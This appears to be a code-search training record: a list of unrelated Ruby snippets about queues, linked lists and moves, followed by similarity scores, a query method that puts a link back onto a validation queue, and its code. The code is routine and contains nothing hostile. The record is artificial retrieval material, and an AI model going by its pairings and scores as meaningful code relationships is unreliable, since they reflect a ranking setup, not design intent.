"def dequeue; @queue.pop end",
"def queue(link)\n\t\t####binding.pry\n\t\treq = request(link)\n\t\t######binding.pry\n\t\treq.on_complete {|res| \n\t\t\t######binding.pry\n\t\t\thandle_response(req, res)\n\t\t}\n\t\t#####binding.pry\n\t\thydra.queue(req)\n\t\t####binding.pry\n\tend",
"def _put_back_on_queue(message)\n future = nil\n _redis.multi do\n _redis.rpush(@queue, message)\n future = _redis.lrem(@in_progress_queue, 1, message)\n end\n removed = future.value\n if removed !=1\n RailsPipeline.logger.error \"ERROR: Didn't remove message from in_progress queue?!!!\"\n end\n end",
"def regress_head\n\t\t\t# @queue[@head_index] = nil\n\t\t\t# @size -= 1 unless @size == 0\n\t\t\t\n\t\t\t# @head_index -= 1\n\t\t\t# @head_index = @queue.size-1 if @head_index < 0\n\t\tend",
"def queue(_); end",
"def queue(_); end",
"def brpoplpush(source, destination, timeout: T.unsafe(nil)); end",
"def reposition_queue\n task_queue = TaskQueue.where(user_id: user_id, task_type_id: task_type_id)\n if task_queue.pluck(:position).any? {|pos| pos > position}\n task_queue.where(\"position > ?\", position).each do |queue_item|\n queue_item.update(:position => (queue_item.position - 1))\n end\n end\n end",
"def lmove(source, destination, where_source, where_destination); end",
"def lmove(source, destination, where_source, where_destination); end",
"def shift\n return nil if empty?\n @que.shift\n end",
"def step\n @queue.enq nil\n end",
"def invalidate_link link\r\n @links.delete(link.condition)\r\n link.detach_and_revert\r\n end",
"def move\n move_by a, m\n end",
"def queue_links(links)\n\t\tlinks.each do |link|\n\t\t\tqueue(link)\n\t\tend\n\tend",
"def pop()\n @size -= 1 \n @queue.shift\n end",
"def remove!(item)\n @queue.delete(item)\n end",
"def pop()\n @queue.shift\n end",
"def queue_link( tag, source )\n return if tag.attributes['class'] && tag.attributes['class']['thickbox'] == 'thickbox'\n return if tag.attributes['onclick']\n dest = (tag.attributes['onclick'] =~ /^new Ajax.Updater\\(['\"].*?['\"], ['\"](.*?)['\"]/i) ? $1 : tag.attributes['href']\n if !(dest =~ %r{^(mailto:|#|javascript:|http://|.*\\.jpg|aim:|ichat:|xmpp:)})\n @links_to_visit << Link.new( dest, source )\n end\n end",
"def smove(source, destination, member); end",
"def smove(source, destination, member); end",
"def move(from, to)\n @tasks.insert(index(to), @tasks.delete_at(index(from)))\n end",
"def advance_head\n\t\t\t@head_index += 1\n\t\t\t@head_index = 0 if @head_index == @queue.size\n\t\tend",
"def dequeue\n @q.shift\n end",
"def dequeue\n @store.shift\n end",
"def place_link(link, dest, last_link)\n # If there is no dest, we are meant to be \n if dest.nil?\n # If we have no last link, we are alone - and are head\n # and link's prev remains nil\n if last_link.nil?\n self[:head_id] = link.id\n # If we have the last link, we want to be after it\n else\n last_link.next = link\n link.prev = last_link\n end\n # Otherwise, we want to be at dest\n else\n # If dest has no prev, we'll be it's prev and the head\n if dest.prev_id.nil?\n self[:head_id] = link.id\n link.next = dest\n dest.prev = link\n # Otherwise, squeeze our way in\n else\n link.next = dest\n link.prev = dest.prev\n dest.prev = link\n link.prev.next = link\n end\n end\n end",
"def drop_link\n return @drop_link if @drop_link\n to_link = @to_link\n \n # continue along the road (to_link and further down) as long as\n # no choices must be made between roads\n # (method: more connectors may connect a road to the same downstream road)\n while to_link.outgoing_connectors.map{|conn|conn.to_link}.uniq.size == 1\n to_link = to_link.outgoing_connectors.first.to_link\n end\n @drop_link = to_link\n end",
"def shift\n deadline = Time.now + @timeout\n\n synchronize do\n loop do\n return @queue.shift unless @queue.empty?\n wait = deadline - Time.now\n raise Timeout::Error, \"Waited for #{@timeout} seconds for connection but none was pushed.\" if wait <= 0\n @cond.wait(wait)\n end\n end\n end",
"def queue(*items)\n\t\t\t# insert @ tail\n\t\t\t# increment size (if able)\n\t\t\t# check size\n\t\t\t\t# move head if necessary\n\t\t\t# move tail\n\t\t\t\n\t\t\titems.each do |i|\n\t\t\t\t# puts \"head #{@head_index} tail #{@tail_index}\"\n\t\t\t\t\n\t\t\t\t@queue[@tail_index] = i\n\t\t\t\t\n\t\t\t\t@size += 1 unless @size == @queue.size\n\t\t\t\t\n\t\t\t\tif @size == @queue.size\n\t\t\t\t\tadvance_head\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tadvance_tail\n\t\t\tend\n\t\tend",
"def move(thing, to, check=true)\n item = find(thing)\n dest = find(to)\n\n return if item.nil?\n if check && item.hidden?\n puts \"You can't get to that right now\"\n return\n end\n\n return if dest.nil?\n if check && (dest.hidden? || dest.open == false)\n puts \"You can't put that there\"\n return\n end\n\n if dest.ancestors.include?(item)\n puts \"Are you trying to destroy the universe?\"\n return\n end\n\n item.parent.children.delete(item)\n dest.children << item\n item.parent = dest\n end",
"def deq\n @queued = false\n nil\n end",
"def add!(item)\n @queue[item] = item\n end",
"def move_left\n tenacious_transaction do\n move_to_left_of left_sibling.try(:lock!)\n end\n end",
"def dequeue\n @items.shift\n end",
"def complete_order\n @queue.dequeue\n end",
"def test_move_under_single_lock\n setup_hr\n\n lock = lock 'httplock/hr', :depth => RubyDav::INFINITY\n\n response = @request.move('httplock/hr/recruiting/resumes', 'httplock/hr/archives/resumes')\n assert_equal '423', response.status\n assert_exists 'httplock/hr/recruiting/resumes/'\n assert_does_not_exist 'httplock/hr/archives/resumes/'\n\n if_hdr = lock.token\n response = @request.move('httplock/hr/recruiting/resumes', 'httplock/hr/archives/resumes', false, :if => if_hdr)\n assert_equal '201', response.status\n assert_does_not_exist 'httplock/hr/recruiting/resumes/'\n assert_exists 'httplock/hr/archives/resumes/'\n\n # cleanup\n unlock('httplock/hr', lock.token)\n delete_coll('httplock')\n end",
"def moveInQueue\n # Don't bother unless the next car has cleared the end of the queue.\n if carAhead && carAhead.tailInQueue\n return false\n end\n\n return false unless @currentLane.meterOK\n\n @bodyStart = 0\n @bodyEnd = @bodyStart - @length\n @nextSpeed = @driver.velocity(self)\n @currentLane.updateMeter\n\n return true\n end",
"def dequeue\n end",
"def remove\n if empty?\n raise \"Can't remove if queue is empty\"\n else\n @info.shift\n end\n end",
"def remove\n if empty?\n raise \"Can't remove if queue is empty\"\n else\n @info.shift\n end\n end",
"def remove\n if empty?\n raise \"Can't remove if queue is empty\"\n else\n @info.shift\n end\n end",
"def remove_link(link)\n # If the_link is head, set head to nil\n if self[:head_id] == link.id\n self[:head_id] = link.next_id\n end\n if link.prev\n # If things on both sides, link them\n if link.next\n link.prev.next_id = link.next_id\n link.next.prev_id = link.prev_id \n link.next = nil\n link.prev = nil\n # If no next id, clear prev's next\n else\n link.prev.next_id = nil\n link.prev = nil\n end\n else\n # If no prev id, clear next's prev\n if link.next\n link.next.prev_id = nil\n link.next = nil\n # It none on either side, do nothing\n else\n end\n end\n end",
"def move_onto(a, b)\n reveal(a)\n reveal(b)\n move_single(a, b)\n end",
"def watch_movie (queue)\n queue.shift\n queue\nend",
"def force_queue_to_vimeo\n self.queue_transfer_to_vimeo(true)\n true\n end",
"def requeue\n __requeue__(\"RPUSH\")\n end",
"def remove\n @nxt.prv = @prv if @nxt\n @prv.nxt = @nxt if @prv\n end",
"def enqueue(object_)\n result_ = true\n if @push_ptr\n if @pop_ptr == @push_ptr\n if @drop_oldest\n @pop_ptr += 1\n @pop_ptr = 0 if @pop_ptr == @buffer.size\n result_ = false\n else\n return false\n end\n elsif @pop_ptr.nil?\n @pop_ptr = @push_ptr\n end\n @buffer[@push_ptr] = object_\n @push_ptr += 1\n @push_ptr = 0 if @push_ptr == @buffer.size\n else\n @buffer.push(object_)\n end\n result_\n end",
"def pop()\n if @queue_out.size == 0 \n if @queue_in.size == 0 \n return \n end\n \n while @queue_in.size > 0 \n @queue_out.push(@queue_in.pop)\n end\n end\n \n @size -= 1\n return @queue_out.pop\n end",
"def unpop obj\n was_empty = @q.empty?\n case obj\n when SimultaneousQueueEntries\n case obj.size\n when 0\n was_empty = false # just to prevent the inc\n when 1\n @q.unshift obj.first\n else\n @q.unshift obj\n end\n else\n @q.unshift obj\n end\n @component.inc_queue_ready_count if was_empty\n end",
"def queue_front(request)\n request.hydra = self\n queued_requests.unshift request\n end",
"def queue; end",
"def queue; end",
"def unshift(link)\n if link\n validated.delete(link[0])\n to_validate[link[0]] = link[1]\n end\n end",
"def remove_from_queue(queue, data)\n prioritized?(queue) ? z_remove_from_queue(queue, data) : super\n end",
"def move_node_to_head(node) \n removed = remove_node(node)\n\n add_head(removed)\n end",
"def move; end",
"def move; end",
"def move_somewhere(bram, dead_space, astar, params)\n x = bram.head[0]\n y = bram.head[1]\n open_spot = []\n surrounding_cells_within_grid(x, y, params).each do |c|\n next if dead_space.include?(c) # do not under any circumstances move there\n open_spot.push(c)\n return c unless path_is_deadend?(bram, [bram.head, c], astar, dead_space)\n end\n open_spot.first # all are dead-ends so just pick an open spot\nend",
"def pour_out\n @queue.deq\n end",
"def place(queen, tile)\r\n tile.leave()\r\n queen.goto( tile, tile )\r\n end",
"def move(to)\n @moved = true\n super(to)\n end",
"def shift\n current_node = @head\n @head = current_node.next_node\n end",
"def pop()\n if @queue_out.size == 0\n if @queue_in.size == 0\n return\n end\n\n while @queue_in.size > 0\n @queue_out.push(@queue_in.pop)\n end\n end\n\n @size -= 1\n return @queue_out.pop\n end",
"def move!(end_pos)\n board.remove_piece(pos)\n\n if (pos[0] - end_pos[0]).abs == 2\n board.remove_piece(jumped_place(end_pos))\n end\n\n self.pos = end_pos\n board.place_piece(self, end_pos)\n\n maybe_promote\n end",
"def queue(&b)\n @queue << b\n end",
"def queue(message); end",
"def move(from, to, aux, disk_count)\n # base case\n if disk_count == 1 # we're only moving one disc\n disk = from.pop\n check_disk_sizes(disk, to.last)\n to.push(disk)\n print_state\n @step_counter += 1\n return\n end\n\n # otherwise we need to do some flippin aorund\n move(from, aux, to, disk_count - 1)\n move(from, to, aux, 1)\n move(aux, to, from, disk_count - 1)\n end",
"def pop\n @insert_point -= 1\n if (@insert_point < 0)\n return nil\n end\n check = @items[0]\n\n rc = pop_sync(check)\n new_head = @items[@insert_point]\n new_head.index = 0\n @items[0] = new_head\n @items[@insert_point] = nil\n\n # Rearrange the neighbor nodes and recalculate their attribs\n check.next_link.prev_link = check.prev_link\n check.prev_link.next_link = check.next_link\n check.next_link.recalculate\n check.prev_link.recalculate\n\n # Rearrange the heap\n heapify(0)\n heapify(check.next_link.index)\n heapify(check.prev_link.index)\n\n return rc\n end",
"def dequeue\n last_el = self.queue_var[-1]\n self.queue_var = self.queue_var[0...-1]\n last_el \n end",
"def test_orderOfElements\n @queue.enqueue(100)\n @queue.enqueue(200)\n assert_equal( 100, @queue.dequeue )\n assert_equal( 200, @queue.dequeue )\n end",
"def push_to_queue(queue, item)\n queue.push(item)\nrescue Exception => e\n puts \"Rescued #{e}\"\nend",
"def delete_front()\n if @queue.size > 0\n @queue.shift\n return true\n end\n false\n end",
"def remove\n @queue.pop\n end",
"def enqueue(node)\n #the double arrow means to PUSH the node into our q list\n @q << node\n end",
"def move!(target)\n @board[@pos] = nil\n @pos = target \n @board[@pos] = self\n true\n end"
] | [
"0.6881409",
"0.6479159",
"0.6250727",
"0.6175462",
"0.6158869",
"0.6153209",
"0.60790294",
"0.5987659",
"0.597337",
"0.59211755",
"0.584882",
"0.5823436",
"0.57847935",
"0.57847935",
"0.5767391",
"0.57355714",
"0.57271713",
"0.56752914",
"0.5672765",
"0.5657361",
"0.5654901",
"0.5634551",
"0.56315625",
"0.56139433",
"0.55681604",
"0.55667686",
"0.55654055",
"0.55493146",
"0.55486053",
"0.55486053",
"0.5501949",
"0.547892",
"0.54734683",
"0.54734683",
"0.5473268",
"0.5471098",
"0.5465054",
"0.5452606",
"0.5442654",
"0.5437201",
"0.5404802",
"0.5392974",
"0.53751755",
"0.535782",
"0.535782",
"0.5355933",
"0.5355493",
"0.5339451",
"0.53241146",
"0.53226715",
"0.5299838",
"0.52930164",
"0.52838016",
"0.5276663",
"0.5275863",
"0.5275135",
"0.5262952",
"0.52612495",
"0.52582777",
"0.52555805",
"0.5254325",
"0.5245184",
"0.5242684",
"0.5242684",
"0.5242684",
"0.52413434",
"0.5235848",
"0.5235184",
"0.52152646",
"0.5207521",
"0.5197166",
"0.5191473",
"0.51878613",
"0.51846665",
"0.5178492",
"0.51774585",
"0.51774585",
"0.51771057",
"0.51768255",
"0.5175283",
"0.51740587",
"0.51740587",
"0.5173297",
"0.51702845",
"0.5164631",
"0.5164116",
"0.5163191",
"0.51614434",
"0.5151257",
"0.5149957",
"0.5141963",
"0.5131751",
"0.5127251",
"0.5123049",
"0.51225775",
"0.51094425",
"0.51018035",
"0.5101392",
"0.50986856",
"0.5095319"
] | 0.524979 | 61 |
put a link back onto the queue | def unshift(link)
if link
validated.delete(link[0])
to_validate[link[0]] = link[1]
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def add(link)\n @queue.add link\n end",
"def shift()\n # If our ttl is zero, skip\n if @queue.length < 1\n return nil\n end\n # Get next from queue\n this = @queue.shift\n puts \"QUEUE ->: %3d %s\" % [this['ttl'], this['url']]\n # Do we already have this page?\n if ! @store.exists?(this['url'])\n # Get page and read links\n p = Page.new(this['url'], nil, this['ttl'])\n # Add each link to the queue (if it doesn't alreaady exist)\n p.links.each do |l|\n if l['ttl'] > 0 and [email protected]?(l['href'])\n self.push(l['href'], l['ttl'])\n end\n end\n # Store the links\n @store.add(this['url'], p.links)\n end\n end",
"def dequeue; @queue.pop end",
"def blocking_redirect to, timeout = 0\n brpoplpush(@key, key(:queue)/(to.kind_of?(RedisQueue::Simple) ? to.name : to), timeout)\n end",
"def queue(link)\n\t\t####binding.pry\n\t\treq = request(link)\n\t\t######binding.pry\n\t\treq.on_complete {|res| \n\t\t\t######binding.pry\n\t\t\thandle_response(req, res)\n\t\t}\n\t\t#####binding.pry\n\t\thydra.queue(req)\n\t\t####binding.pry\n\tend",
"def queue(&b)\n @queue << b\n end",
"def queue(_); end",
"def queue(_); end",
"def dequeue\n @queue.shift\n end",
"def remove\n @queue.shift\n end",
"def queue; end",
"def queue; end",
"def dequeue\n\t\[email protected]\n\tend",
"def dequeue\n end",
"def remove\n @queue.shift\n end",
"def remove\n @queue.shift\n end",
"def deq\n @queued = false\n nil\n end",
"def queue(message); end",
"def pop()\n @queue.shift\n end",
"def _put_back_on_queue(message)\n future = nil\n _redis.multi do\n _redis.rpush(@queue, message)\n future = _redis.lrem(@in_progress_queue, 1, message)\n end\n removed = future.value\n if removed !=1\n RailsPipeline.logger.error \"ERROR: Didn't remove message from in_progress queue?!!!\"\n end\n end",
"def remove\n @queue.pop\n end",
"def queue_link( tag, source )\n return if tag.attributes['class'] && tag.attributes['class']['thickbox'] == 'thickbox'\n return if tag.attributes['onclick']\n dest = (tag.attributes['onclick'] =~ /^new Ajax.Updater\\(['\"].*?['\"], ['\"](.*?)['\"]/i) ? $1 : tag.attributes['href']\n if !(dest =~ %r{^(mailto:|#|javascript:|http://|.*\\.jpg|aim:|ichat:|xmpp:)})\n @links_to_visit << Link.new( dest, source )\n end\n end",
"def push(reference)\n if reference\n @lock.synchronize do\n @queue.push(reference)\n end\n end\n end",
"def add!(item)\n @queue[item] = item\n end",
"def dequeue\n @q.shift\n end",
"def bt\n @queue << \"bt\"\n end",
"def pop()\n @size -= 1 \n @queue.shift\n end",
"def queue_next\n begin\n link = to_validate.shift\n return if not link\n\n queued[link[0]] = link[1]\n\n link[1].validate(@hydra) { |error: nil|\n queued.delete(link[0])\n\n if error then invalidate(link[1], error[:type], error[:msg])\n else validated[link[0]] = link[1]\n end\n }\n link\n rescue Exception\n unshift(link)\n raise $!\n end\n end",
"def shift\n @lock.synchronize do\n @queue.shift\n end\n end",
"def on_queue(url)\n true\n end",
"def dequeue\n\t\t\tself.pop\n\t\tend",
"def dequeue\n @store.shift\n end",
"def retrieve(key); @amq.queue(key); end",
"def add_to_queue!(user)\n $redis.lpush(self.class.redis_key_for_user(user), to_redis_object)\n end",
"def delete\n @queue << \"delete\"\n end",
"def update_link!(link)\n key = link.key\n val = link.val\n @store.remove(key)\n link = @store.append(key,val) #this is where you move the link to end of list\n @map[key] = link\n end",
"def queue_links(links)\n\t\tlinks.each do |link|\n\t\t\tqueue(link)\n\t\tend\n\tend",
"def deliver\n @queue << self\n end",
"def complete_order\n @queue.dequeue\n end",
"def pour_out\n @queue.deq\n end",
"def update_queue (queue, movie)\n queue.push(movie)\nend",
"def next_event\n @queue.pop\n end",
"def step\n @queue.enq nil\n end",
"def dequeue\n @store.pop\n end",
"def dequeue\n @items.shift\n end",
"def push &put\n #Thread.pass while self.full?\n sleep 0.01 while self.full?\n self.push! &put\n end",
"def pop\n _exchange\n end",
"def enqueue(item)\n\t\t@queue << item\n\tend",
"def handle\n @queue << \"handle\"\n end",
"def pop\n @lock.synchronize do\n @queue.pop\n end\n end",
"def move_higher_in_queue\n return unless higher_item_in_queue\n\n acts_as_queue_class.transaction do\n higher_item_in_queue.increment_queue_position\n decrement_queue_position\n end\n end",
"def push(obj)\n @queue.put(obj)\n end",
"def flush; queue.close end",
"def requeue\n __requeue__(\"RPUSH\")\n end",
"def enqueue(item)\n end",
"def remove!(item)\n @queue.delete(item)\n end",
"def push(url, ttl)\n url= @store.sanitise(url)\n # Is it in robots?\n robot = false\n @robots.each do |r|\n if url.start_with?(r)\n robot = true\n end\n end\n # Do we already have it?, Is it in robots.txt?, Is it within our restriction\n exists = @store.exists?(url)\n if !exists and url.start_with?(@restrict) and !robot\n puts \"-> QUEUE: %3d %s\" % [ttl, url]\n @queue.push({\n 'url' => url,\n 'ttl' => ttl })\n end\n end",
"def push(element)\t\t\n\t\twhile [email protected]? do\n\t\t\[email protected](@q1.pop) # Dequeue element from queue q1 and enque the same to q2\n\t\tend\n\t\[email protected](element)\n\t\twhile [email protected]? do\n\t\t\[email protected](@q2.pop) # Dequeue element from queue q2 and enque the same to q1\n\t\tend\t\n\tend",
"def queue(a)\n p \"Before: #{a}\"\n a.push(6)\n a.shift(1)\n p \"After: #{a}\"\nend",
"def dequeue\n @data.shift\n end",
"def pop &use\n #Thread.pass while self.empty?\n sleep 0.01 while self.empty?\n self.pop! &use\n end",
"def brpoplpush(source, destination, timeout: T.unsafe(nil)); end",
"def push_to_queue(queue, item)\n queue.push(item)\nrescue Exception => e\n puts \"Rescued #{e}\"\nend",
"def move_to_bottom_in_queue\n return unless in_queue?\n acts_as_queue_class.transaction do\n decrement_queue_positions_on_lower_items\n assume_bottom_queue_position\n end\n end",
"def queue\n @handle.queue_name if @handle\n end",
"def peek; @queue[-1] end",
"def dequeue!(user=nil)\n update_attribute(:queued, false)\n end",
"def queue() = @queue ||= CommandQueue.new",
"def enqueue(node)\n #the double arrow means to PUSH the node into our q list\n @q << node\n end",
"def dequeue\n add(queued_requests.shift) unless queued_requests.empty?\n end",
"def queue( name, &block )\n destination( name, :queue, @queues, &block )\n end",
"def queue_out\n @channel.queue('dns-out', durable: true)\n end",
"def enqueue(el)\n @queue << el\n el\n end",
"def link(url)\n if @_bucket.nil?\n raise \"Robots.link must be called inside of allow or disallow block\"\n else\n @_bucket.push(url.to_s)\n end\n end",
"def queue_out\n @channel.queue('out', durable: true)\n end",
"def queue_out\n @channel.queue('out', durable: true)\n end",
"def watch_movie (queue)\n queue.shift\n queue\nend",
"def push(obj)\n @mutex.synchronize{\n @que.push obj\n begin\n t = @waiting.shift\n t.wakeup if t\n rescue ThreadError\n retry\n end\n }\n end",
"def retrieve(key)\n @amq.queue(key)\n end",
"def dispatch\n @queue.pop.run while @queue.ready?\n end",
"def queue_video!(video)\n queue_items.create(video: video, \n position: new_queue_item_position) unless queued_video?(video)\n end",
"def finish\n @queue << \"finish\"\n end",
"def pop()\n @q.shift\n end",
"def dequeue\n last_el = self.queue_var[-1]\n self.queue_var = self.queue_var[0...-1]\n last_el \n end",
"def __ap4r_forward_by_queue_info(stored_message_id, queue_info, options)\r\n __ap4r_queue_put(queue_info[:queue_name], queue_info[:queue_message], queue_info[:queue_headers])\r\n StoredMessage.destroy_if_exists(stored_message_id, options)\r\n end",
"def move_lower_in_queue\n return unless lower_item_in_queue\n\n acts_as_queue_class.transaction do\n lower_item_in_queue.decrement_queue_position\n increment_queue_position\n end\n end",
"def requeue\n Sidekiq.redis { |conn| conn.rpush(QueueName.expand(queue_name), job) }\n end",
"def queue_job; end",
"def pop()\n new_queue = Queue.new\n until @queue.size == 1\n new_queue << @queue.pop\n end\n last = @queue.pop\n @queue = new_queue\n last\n end",
"def enqueue(object_)\n result_ = true\n if @push_ptr\n if @pop_ptr == @push_ptr\n if @drop_oldest\n @pop_ptr += 1\n @pop_ptr = 0 if @pop_ptr == @buffer.size\n result_ = false\n else\n return false\n end\n elsif @pop_ptr.nil?\n @pop_ptr = @push_ptr\n end\n @buffer[@push_ptr] = object_\n @push_ptr += 1\n @push_ptr = 0 if @push_ptr == @buffer.size\n else\n @buffer.push(object_)\n end\n result_\n end",
"def remove_link(from,to,tag)\n link = JiakLink.new(to.jiak.object.bucket, to.jiak.object.key, tag)\n has_link = from.jiak.object.links.include?(link)\n if has_link\n from.jiak.object.links.delete(link)\n if(from.auto_update? ||\n ((from.auto_update? != false) && from.class.auto_update?))\n put(from)\n end\n end\n has_link\n end",
"def push(event:)\n super\n\n @queue << event\n end",
"def push(x)\n @queue << x\n end",
"def remove_from_queue!(user)\n $redis.lrem(self.class.redis_key_for_user(user), 0, to_redis_object)\n end",
"def enqueue(el)\n @queue.push(el)\n true\n end",
"def merge!\n\t\t\twhile handle = @queue.pop\n\t\t\t\tnext if handle.cancelled?\n\t\t\t\t\n\t\t\t\[email protected](handle)\n\t\t\tend\n\t\tend",
"def enqueue(element)\n # if queue is full or the element you're trying to add = nil, item cannot be added to the queue\n if full? or element.nil?\n nil\n else\n # 1 subtracted from @tail because the queue is going to be one item longer now\n @tail = @tail.pred\n # last element in the queue is set equal to the element you passed in as an argument\n @store[@tail] = element\n # returns the Queue\n self\n end\n end",
"def add_to_queue(playlist)\n @queue << playlist\n if @current_playlist.nil? \n @current_playlist = @queue.shift\n play @current_playlist\n end\n end",
"def push(obj)\n if @blocked\n raise \"Nothing can be added to queue. Queue is blocked.\"\n else\n super(obj)\n end\n end",
"def enqueue(el)\n @queue.push(el)\n end",
"def queue notification\n @notification_queue.unshift notification\n end"
] | [
"0.73733264",
"0.6955292",
"0.6735756",
"0.67130184",
"0.66893166",
"0.6653917",
"0.6616847",
"0.6616847",
"0.6570856",
"0.6567809",
"0.6546701",
"0.6546701",
"0.6535376",
"0.6522527",
"0.65144753",
"0.64977074",
"0.6428081",
"0.6401439",
"0.63853294",
"0.6369037",
"0.63337654",
"0.63167006",
"0.626524",
"0.6261363",
"0.62339073",
"0.6209732",
"0.61691535",
"0.61600196",
"0.6146505",
"0.6128095",
"0.6109104",
"0.60783",
"0.6072872",
"0.6069465",
"0.6064713",
"0.6051915",
"0.6023382",
"0.6022664",
"0.601301",
"0.60009134",
"0.59925026",
"0.5963659",
"0.59507126",
"0.59343386",
"0.5932071",
"0.5931611",
"0.5926478",
"0.5919275",
"0.59187484",
"0.58948976",
"0.5871502",
"0.5864935",
"0.58583814",
"0.5852346",
"0.5841691",
"0.58326495",
"0.5830807",
"0.58245647",
"0.58221626",
"0.5820358",
"0.5818735",
"0.5803106",
"0.5799821",
"0.5777787",
"0.5774616",
"0.57620025",
"0.57606304",
"0.5753554",
"0.57453495",
"0.57437056",
"0.5739218",
"0.5737206",
"0.5713048",
"0.57088476",
"0.5706566",
"0.5706566",
"0.57054454",
"0.5692888",
"0.56857735",
"0.56822985",
"0.56816715",
"0.5680343",
"0.5677172",
"0.566602",
"0.56659484",
"0.5656438",
"0.56542003",
"0.5650326",
"0.5630112",
"0.5627122",
"0.56255406",
"0.5625166",
"0.56183875",
"0.56169164",
"0.5615522",
"0.56117964",
"0.5601287",
"0.55995935",
"0.5588768",
"0.5580341",
"0.5579331"
] | 0.0 | -1 |
indique le nombre de point de vie | def show_state
puts "#{@name} a #{@life_points} de PV"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def points; end",
"def points\n 1\n end",
"def points\n -1\n end",
"def position=(point); end",
"def pos() end",
"def pos() end",
"def pos() end",
"def pos() end",
"def pos; end",
"def pos; end",
"def pos; end",
"def pos; end",
"def pos; end",
"def pos; end",
"def pos\n end",
"def pos\n end",
"def pos\n end",
"def base_points\n points\n end",
"def pos=(p0) end",
"def pos=(p0) end",
"def pos=(p0) end",
"def pos=(p0) end",
"def vel\n @velocidad\n end",
"def add_point\n end",
"def subtract_point \n\t\t@lives -= 1\n\tend",
"def draw(type=1,index=1)\n DCL.sgplzv(vx,vy,type,index)\n end",
"def vertices\n end",
"def vertices\n end",
"def vat_number; end",
"def position; end",
"def position; end",
"def position; end",
"def position; end",
"def position; end",
"def position; end",
"def position; end",
"def position; end",
"def points\n MSPhysics::Newton::CurvySlider.get_points(@address)\n end",
"def points\n MSPhysics::Newton::CurvySlider.get_points(@address)\n end",
"def update(point)\n\t\t\t\t\n\t\t\tend",
"def position\n V[x, y]\n end",
"def points #:nodoc:\n [self]\n end",
"def points #:nodoc:\n [self]\n end",
"def vin; end",
"def pos()\n #This is a stub, used for indexing\n end",
"def pos()\n #This is a stub, used for indexing\n end",
"def vertices\n\tend",
"def addPoints(points) \n\t\t@points += points\n\tend",
"def up\n Point.new(@x, @y + 1)\n end",
"def up\n Point.new(@x, @y + 1)\n end",
"def x_offset; end",
"def pos()\n #This is a stub, used for indexing\n end",
"def update_visualization(point)\n\t\t\t\t\n\t\t\tend",
"def pos=\n end",
"def pos=\n end",
"def pos=(pos); end",
"def add_point(color) \n @owner = color\n @points += 1 \n @image = @@images[@[email protected]_s]#Gosu::Image.new(@@gosu_window, 'media/grid/'[email protected]_s+'.'+@owner+'.png', true) if @points < 4\n if over_max?(@points, @x,@y, @width-1,@height-1)\n @points = 0 \n @array[@x-1][@y].add_point(color) if @x > 0\n @array[@x+1][@y].add_point(color) if @x < @width -1\n @array[@x][@y-1].add_point(color) if @y > 0\n @array[@x][@y+1].add_point(color) if @y < @height-1\n @image = @@images[@[email protected]_s]#Gosu::Image.new(@@gosu_window, 'media/grid/'[email protected]_s+'.'+@owner+'.png', true) \n end\n end",
"def update(point)\n\t\t\n\tend",
"def update(point)\n\t\t\n\tend",
"def n\n points.size\n end",
"def points()\n\t\t\tfilter()\n\t\t\treturn @points_floor + @points_ceil.reverse\n\t\tend",
"def current_pts\n self.score\n end",
"def fly(x,y,z) #remeber these start with 0 in numbering!! \n\t\t@@v_row[y][x].sub!(\"#{@@v_row[y][x]}\", \"#{z}\") #find the point, and then replace with object's symbol. #FIXME Fix'd 12/16\n\t\t@position = x, y\n\tend",
"def source_pts; end",
"def add_point(point)\n return if point.x < 1 || point.y < 1 || point.x > @max_x-1 || point.y > @max_y-1\n if @glade['toolbar_move'].active?\n if @first_point \n @start = point\n @first_point = false\n @points = [@start]\n print\n else\n @finish = point\n @points = []\n move\n end\n elsif @glade['toolbar_record_points'].active?\n if @x_coords[point.x]\n @glade['statusbar'].push(@context, \"Este programa não suporta 2 ou mais pontos com mesma X-coordenada!\")\n else\n @points << point\n @x_coords[point.x] = point\n end\n print\n end\n end",
"def points\n []\n end",
"def coords_to_pos(point)\n (size - 1 - point.y) * size + point.x\n end",
"def get_point_position(index)\n MSPhysics::Newton::CurvySlider.get_point_position(@address, index)\n end",
"def get_point_position(index)\n MSPhysics::Newton::CurvySlider.get_point_position(@address, index)\n end",
"def x\n @point[0]\n end",
"def index2point(x)\n\t\treturn (@tam_ancho/2-x)\n\tend",
"def draw_point_id(point)\n draw_point(@points[point])\n end",
"def draw \n\t\tsuper(\"Lives: #{@lives.to_s}\", X, Y, 5)\n\tend",
"def add_to_point! point\n vectors.each do |v|\n point.add! v\n end\n point\n end",
"def point_x\n self.coord.split(\"_\")[0]\n end",
"def set_point(pt)\r\n if @point_1 == nil\r\n @point_1=pt\r\n elsif @point_2 == nil\r\n @point_2 = pt\r\n @xvect=@point_2-@point_1\r\n @bd_width.value = @xvect.length / $m2inch\r\n @yvect=Geom::Vector3d.new(0,0,1).cross(@xvect.normalize)\r\n @yvect.length =@bd_depth.value * $m2inch\r\n elsif @point_3 == nil\r\n @point_3 = pt\r\n @yvect.length=(@point_3-@point_1).length\r\n @bd_depth.value = @yvect.length / $m2inch\r\n elsif @point_4 == nil\r\n @point_4 = pt\r\n @zvect.length=(@point_4-@point_1).length\r\n @bd_height = @zvect.length / $m2inch\r\n return false\r\n end\r\n true\r\n end",
"def flip_range_xy(points); points.collect{ |v| Vertex.new(-v.y,-v.x)}; end",
"def screen_x1; @point1.screen_x; end",
"def index(p0) end",
"def index(p0) end",
"def point(index)\n return [index % Grid::MaxCol, index / Grid::MaxCol]\n end",
"def update_visualization(point)\n\t\t\n\tend",
"def update_visualization(point)\n\t\t\n\tend",
"def update_visualization(point)\n\t\t\n\tend",
"def update_visualization(point)\n\t\t\n\tend",
"def num_points\n @size * @size\n end",
"def initialize()\n @points = []\n end",
"def deco_pos; end",
"def rand_point()\n \n end",
"def vector_to(point2)\n end",
"def x_location_vertex\n return @ob_vx_location\n end",
"def relative_range_era(points)\n relative_range = []\n player = $game_player\n x,y = player.x, player.y\n points.each do |v|\n relative_range.push(Vertex.new(v.x + x, v.y + y))\n end\n relative_range\n end",
"def add_point(player)\n end",
"def at(p0) end",
"def total_point\n lecture.etcs_point\n end",
"def size\n self.points.count\n end",
"def add!(point)\r\n @x += point.x\r\n @y += point.y\r\n end",
"def initialize(points, colour) #position, points, colour)\n super(colour) #position, colour)\n @points = points\n #puts \"PointsPart\"\n #@points.each { |p| puts \"(#{p.x}, #{p.y})\" }\n end",
